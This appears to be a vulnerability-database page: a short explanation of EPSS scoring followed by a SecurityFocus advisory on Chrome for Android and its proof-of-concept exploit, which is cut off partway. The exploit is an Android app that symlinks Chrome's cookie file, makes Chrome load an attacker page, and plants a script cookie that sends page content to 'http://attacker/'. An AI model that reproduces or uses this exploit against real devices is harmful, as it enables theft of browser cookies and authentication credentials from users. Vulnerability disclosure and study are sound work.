EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/55523/info Google Chrome for Android is prone to multiple vulnerabilities. Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible. Versions prior to Chrome for Android 18.0.1025308 are vulnerable. package jp.mbsd.terada.attackchrome1; import android.app.Activity; import android.os.Bundle; import android.util.Log; import android.content.Intent; import android.net.Uri; public class Main extends Activity { // TAG for logging. public final static String TAG = "attackchrome1"; // Cookie file path of Chrome. public final static String CHROME_COOKIE_FILE_PATH = "/data/data/com.android.chrome/app_chrome/Default/Cookies"; // Temporaly directory in which the symlink will be created. public final static String MY_TMP_DIR = "/data/data/jp.mbsd.terada.attackchrome1/tmp/"; // The path of the Symlink (must have "html" extension) public final static String LINK_PATH = MY_TMP_DIR + "cookie.html"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); doit(); } // Method to invoke Chrome. public void invokeChrome(String url) { Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main"); intent.setData(Uri.parse(url)); startActivity(intent); } // Method to execute OS command. public void cmdexec(String[] cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { Log.e(TAG, e.getMessage()); } } // Main method. public void doit() { try { // Create the symlink in this app's temporary directory. // The symlink points to Chrome's Cookie file. cmdexec(new String[] {"/system/bin/mkdir", MY_TMP_DIR}); cmdexec(new String[] {"/system/bin/ln", "-s", CHROME_COOKIE_FILE_PATH, LINK_PATH}); cmdexec(new String[] {"/system/bin/chmod", "-R", "777", MY_TMP_DIR}); Thread.sleep(1000); // Force Chrome to load attacker's web page to poison Chrome's Cookie file. // Suppose the web page sets a Cookie as below. // x=<img><script>document.images[0].src='http://attacker/?' // +encodeURIComponent(document.body.innerHTML)</script>; // expires=Tue, 01-Jan-2030 00:00:00 GMT String url1 = "http://attacker/set_malicious_cookie.php"; invokeChrome(url1); Thread.sleep(10000); // Force Chrome to load the symlink. // Chrome renders the content of the Cookie file as HTML.
